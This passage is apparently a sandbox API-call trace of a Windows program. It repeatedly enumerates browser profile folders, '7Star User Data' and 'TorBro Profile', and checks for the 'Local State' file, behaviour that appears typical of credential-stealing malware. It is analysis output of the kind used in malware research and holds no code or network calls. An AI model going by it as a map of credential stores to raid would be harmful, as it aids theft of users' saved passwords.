[0052.846] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.846] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.846] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.846] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.846] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.846] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.846] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.846] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.846] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.846] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.846] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.846] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.846] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.846] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.846] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.846] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.846] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.846] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.847] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.847] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.847] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.847] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.847] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.847] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.847] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.847] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.847] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\TorBro\\Profile\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\"
[0052.847] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\"
[0052.847] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\"
[0052.847] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\Local State"
[0052.847] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67d910
[0052.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=64, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64
[0052.847] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x67d958
[0052.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=64, lpWideCharStr=0x67d958, cchWideChar=64 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\Local State") returned 64
[0052.847] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x67d9e0
[0052.847] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d958 | out: hHeap=0x670000) returned 1
[0052.847] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\local state")) returned 0xffffffff
[0052.848] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9e0 | out: hHeap=0x670000) returned 1
[0052.848] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.848] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*") returned 53
[0052.848] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.848] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.848] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.848] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.848] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.848] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.848] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.848] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.848] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.848] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.848] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.848] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.848] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.849] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.849] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.849] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.849] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.849] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.849] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.849] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.849] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.849] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.849] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.849] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.849] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.849] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.849] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
